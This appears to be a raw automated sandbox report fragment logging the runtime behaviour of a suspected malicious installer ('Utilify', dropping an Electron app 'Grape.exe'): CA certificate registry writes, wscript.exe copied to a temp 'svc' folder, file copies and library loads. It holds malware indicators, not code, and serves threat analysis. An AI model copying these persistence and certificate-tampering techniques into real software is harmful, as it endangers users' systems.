"HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")3c:T1207,"WScript.exe" called "CopyFileW" to copy %WINDIR%\System32\wscript.exe to new location %TEMP%\svc_ylb6ijl1\wscript.exe (UID: 00000000-00002804) "Utilify_8u8a563i.tmp" called "CopyFileW" to copy %TEMP%\is-XGQS9W3DB7.tmp\chrome_100_percent.pak to new location %LOCALAPPDATA%\SuperMaxionQuickMaxlite\chrome_100_percent.pak (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CopyFileW" to copy %TEMP%\is-XGQS9W3DB7.tmp\chrome_200_percent.pak to new location %LOCALAPPDATA%\SuperMaxionQuickMaxlite\chrome_200_percent.pak (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CopyFileW" to copy %TEMP%\is-XGQS9W3DB7.tmp\d3dcompiler_47.dll to new location %LOCALAPPDATA%\SuperMaxionQuickMaxlite\d3dcompiler_47.dll (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CopyFileW" to copy %TEMP%\is-XGQS9W3DB7.tmp\ffmpeg.dll to new location %LOCALAPPDATA%\SuperMaxionQuickMaxlite\ffmpeg.dll (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CopyFileW" to copy %TEMP%\is-XGQS9W3DB7.tmp\Grape.exe to new location %LOCALAPPDATA%\SuperMaxionQuickMaxlite\Grape.exe (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CopyFileW" to copy %TEMP%\is-XGQS9W3DB7.tmp\icudtl.dat to new location %LOCALAPPDATA%\SuperMaxionQuickMaxlite\icudtl.dat (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CopyFileW" to copy %TEMP%\is-XGQS9W3DB7.tmp\libEGL.dll to new location %LOCALAPPDATA%\SuperMaxionQuickMaxlite\libEGL.dll (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CopyFileW" to copy %TEMP%\is-XGQS9W3DB7.tmp\libGLESv2.dll to new location %LOCALAPPDATA%\SuperMaxionQuickMaxlite\libGLESv2.dll (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CopyFileW" to copy %TEMP%\is-XGQS9W3DB7.tmp\LICENSE.electron.txt to new location %LOCALAPPDATA%\SuperMaxionQuickMaxlite\LICENSE.electron.txt (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CopyFileW" to copy %TEMP%\is-XGQS9W3DB7.tmp\LICENSES.chromium.html to new location %LOCALAPPDATA%\SuperMaxionQuickMaxlite\LICENSES.chromium.html (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CopyFileW" to copy %TEMP%\is-XGQS9W3DB7.tmp\readme.txt to new location %LOCALAPPDATA%\SuperMaxionQuickMaxlite\readme.txt (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CopyFileW" to copy %TEMP%\is-XGQS9W3DB7.tmp\resources.pak to new location %LOCALAPPDATA%\SuperMaxionQuickMaxlite\resources.pak (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CopyFileW" to copy %TEMP%\is-XGQS9W3DB7.tmp\snapshot_blob.bin to new location %LOCALAPPDATA%\SuperMaxionQuickMaxlite\snapshot_blob.bin (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CopyFileW" to copy %TEMP%\is-XGQS9W3DB7.tmp\v8_context_snapshot.bin to new location %LOCALAPPDATA%\SuperMaxionQuickMaxlite\v8_context_snapshot.bin (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CopyFileW" to copy %TEMP%\is-XGQS9W3DB7.tmp\vk_swiftshader.dll to new location %LOCALAPPDATA%\SuperMaxionQuickMaxlite\vk_swiftshader.dll (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CopyFileW" to copy %TEMP%\is-XGQS9W3DB7.tmp\vk_swiftshader_icd.json to new location %LOCALAPPDATA%\SuperMaxionQuickMaxlite\vk_swiftshader_icd.json (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CopyFileW" to copy %TEMP%\is-XGQS9W3DB7.tmp\am.pak to new location %LOCALAPPDATA%\SuperMaxionQuickMaxlite\locales\am.pak (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CopyFileW" to copy %TEMP%\is-XGQS9W3DB7.tmp\ar.pak to new location %LOCALAPPDATA%\SuperMaxionQuickMaxlite\locales\ar.pak (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CopyFileW" to copy %TEMP%\is-XGQS9W3DB7.tmp\bg.pak to new location %LOCALAPPDATA%\SuperMaxionQuickMaxlite\locales\bg.pak (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CopyFileW" to copy %TEMP%\is-XGQS9W3DB7.tmp\bn.pak to new location %LOCALAPPDATA%\SuperMaxionQuickMaxlite\locales\bn.pak (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CopyFileW" to copy %TEMP%\is-XGQS9W3DB7.tmp\ca.pak to new location %LOCALAPPDATA%\SuperMaxionQuickMaxlite\locales\ca.pak (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CopyFileW" to copy %TEMP%\is-XGQS9W3DB7.tmp\cs.pak to new location %LOCALAPPDATA%\SuperMaxionQuickMaxlite\locales\cs.pak (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CopyFileW" to copy %TEMP%\is-XGQS9W3DB7.tmp\da.pak to new location %LOCALAPPDATA%\SuperMaxionQuickMaxlite\locales\da.pak (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CopyFileW" to copy %TEMP%\is-XGQS9W3DB7.tmp\de.pak to new location %LOCALAPPDATA%\SuperMaxionQuickMaxlite\locales\de.pak (UID: 00000000-00000952)3d:T4b1,"WScript.exe" called "CreateDirectoryW" with parameter %TEMP%\svc_ylb6ijl1 (UID: 00000000-00002804) "Utilify_8u8a563i.exe" called "CreateDirectoryW" with parameter %TEMP%\is-97LI8WEXMB.tmp (UID: 00000000-00005108) "Utilify_8u8a563i.tmp" called "CreateDirectoryW" with parameter %TEMP%\is-XGQS9W3DB7.tmp (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CreateDirectoryW" with parameter %TEMP%\is-XGQS9W3DB7.tmp\_isetup (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\SuperMaxionQuickMaxlite (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\SuperMaxionQuickMaxlite\locales (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\SuperMaxionQuickMaxlite\resources (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\SuperMaxionQuickMaxlite\swiftshader (UID: 00000000-00000952) "Grape.exe" called "CreateDirectoryW" with parameter %APPDATA%\Grape (UID: 00000000-00004472) "Grape.exe" called "CreateDirectoryW" with parameter %APPDATA%\Grape\Dictionaries (UID: 00000000-00004472)3e:T2b65,"WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002804) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002804) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002804) "WScript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002804) "WScript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002804) "WScript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00002804) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00002804) "WScript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00002804) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00002804) "WScript.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002804) "WScript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00002804) "WScript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00002804) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00002804) "WScript.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00002804) "WScript.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00002804) "WScript.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00002804) "wscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006836) "wscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006836) "wscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006836) "wscript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006836) "wscript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006836) "wscript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00006836) "wscript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00006836) "wscript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00006836) "wscript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00006836) "wscript.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006836) "wscript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00006836) "wscript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00006836) "wscript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00006836) "wscript.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00006836) "wscript.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006836) "wscript.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006836) "Utilify_8u8a563i.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005108) "Utilify_8u8a563i.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005108) "Utilify_8u8a563i.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005108) "Utilify_8u8a563i.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005108) "Utilify_8u8a563i.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005108) "Utilify_8u8a563i.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\bcrypt.dll (UID: 00000000-00005108) "Utilify_8u8a563i.tmp" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "LoadLibrary" with a parameter Msctf.dll (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "LoadLibrary" with a parameter %WINDIR%\system32\shell32.dll (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "LoadLibrary" with a parameter %WINDIR%\system32\bcrypt.dll (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "LoadLibrary" with a parameter %WINDIR%\system32\shfolder.dll (UID: 00000000-00000952) "Grape.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004472) "Grape.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004472) "Grape.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004472) "Grape.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004472) "Grape.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00004472) "Grape.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00004472) "Grape.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00004472) "Grape.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00004472) "Grape.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004472) "Grape.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shell32-l1-1-0.dll (UID: 00000000-00004472) "Grape.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004472) "Grape.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004472) "Grape.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00004472) "Grape.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00004472) "Grape.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00004472) "Grape.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004472) "Grape.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00004472) "Grape.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004472) "Grape.exe" called "LoadLibrary" with a parameter shcore.dll (UID: 00000000-00004472) "Grape.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004472) "Grape.exe" called "LoadLibrary" with a parameter api-ms-win-core-sysinfo-l1-2-1 (UID: 00000000-00004472) "Grape.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004092) "Grape.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004092) "Grape.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004092) "Grape.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004092) "Grape.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00004092) "Grape.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00004092) "Grape.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00004092) "Grape.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00004092) "Grape.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004092) "Grape.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shell32-l1-1-0.dll (UID: 00000000-00004092) "Grape.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004092) "Grape.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004092) "Grape.exe" called "LoadLibrary" with a parameter mf.dll (UID: 00000000-00004092) "Grape.exe" called "LoadLibrary" with a parameter mfplat.dll (UID: 00000000-00004092) "Grape.exe" called "LoadLibrary" with a parameter msmpeg2vdec.dll (UID: 00000000-00004092) "Grape.exe" called "LoadLibrary" with a parameter dxva2.dll (UID: 00000000-00004092) "Grape.exe" called "LoadLibrary" with a parameter msvproc.dll (UID: 00000000-00004092) "Grape.exe" called "LoadLibrary" with a parameter D3DCompiler_47.dll (UID: 00000000-00004092) "Grape.exe" called "LoadLibrary" with a parameter ddraw.dll (UID: 00000000-00004092) "Grape.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\SuperMaxionQuickMaxlite\swiftshader\libglesv2.dll (UID: 00000000-00004092) "Grape.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\SuperMaxionQuickMaxlite\swiftshader\libegl.dll (UID: 00000000-00004092) "Grape.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\SuperMaxionQuickMaxlite\swiftshader\libGLES_CM.dll (UID: 00000000-00004092) "Grape.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\SuperMaxionQuickMaxlite\swiftshader\libGLES_CM_translator.dll (UID: 00000000-00004092) "Grape.exe" called "LoadLibrary" with a parameter dwmapi.dll (UID: 00000000-00004092) "Grape.exe" called "LoadLibrary" with a parameter MFPlat.DLL (UID: 00000000-00004092) "Grape.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004808) "Grape.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004808) "Grape.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004808) "Grape.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004808) "Grape.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00004808) "Grape.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00004808) "Grape.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00004808) "Grape.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00004808) "Grape.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004808) "Grape.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shell32-l1-1-0.dll (UID: 00000000-00004808) "Grape.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004808)3f:Tee92,Found reference to API (Indicator: "GetThreadPreferredUILanguages"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found reference to API (Indicator: "SetThreadPreferredUILanguages"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found reference to API (Indicator: "GetThreadUILanguage"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found reference to API (Indicator: "GetLogicalProcessorInformation"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found reference to API (Indicator: "GetLongPathNameW"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceExW"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found reference to API (Indicator: "BCryptGenRandom"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found reference to API (Indicator: "GetCurrentDirectory"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found reference to API (Indicator: "GetFinalPathNameByHandleW"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found reference to API (Indicator: "CompareStringOrdinal"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found reference to API (Indicator: "RtlCompareUnicodeString"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found reference to API (Indicator: "SetSearchPathMode"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found reference to API (Indicator: "SetProcessDEPPolicy"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found reference to API (Indicator: "SeShutdownPrivilege"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found reference to API (Indicator: "WNetEnumResourceW"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "WNetGetUniversalNameW"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "WNetGetConnectionW"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "WNetCloseEnum"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "WNetOpenEnumW"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "GetSaveFileNameW"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "GetOpenFileNameW"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "SHGetFileInfoW"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "Shell_NotifyIconW"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "ShellExecuteW"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "ShellExecuteExW"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "MoveWindow"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "CopyImage"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "SetMenuItemInfoW"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "GetMenuItemInfoW"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "FrameRect"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "GetMenuStringW"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "FillRect"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "EnumWindows"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "ShowOwnedPopups"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "GetScrollRange"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "SetActiveWindow"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "GetActiveWindow"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "DrawEdge"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "GetKeyboardLayoutList"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "OemToCharBuffA"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "EnumChildWindows"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "UnhookWindowsHookEx"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "SetCapture"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "GetCapture"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "ShowCaret"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "CreatePopupMenu"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "GetMenuItemID"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "CharLowerBuffW"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "IsZoomed"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "SetParent"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "DrawMenuBar"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "GetClientRect"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "IsChild"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "IsIconic"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "CallNextHookEx"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "GetWindowTextW"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "DestroyWindow"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "RegisterClassW"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "CharNextW"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "GetFocus"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 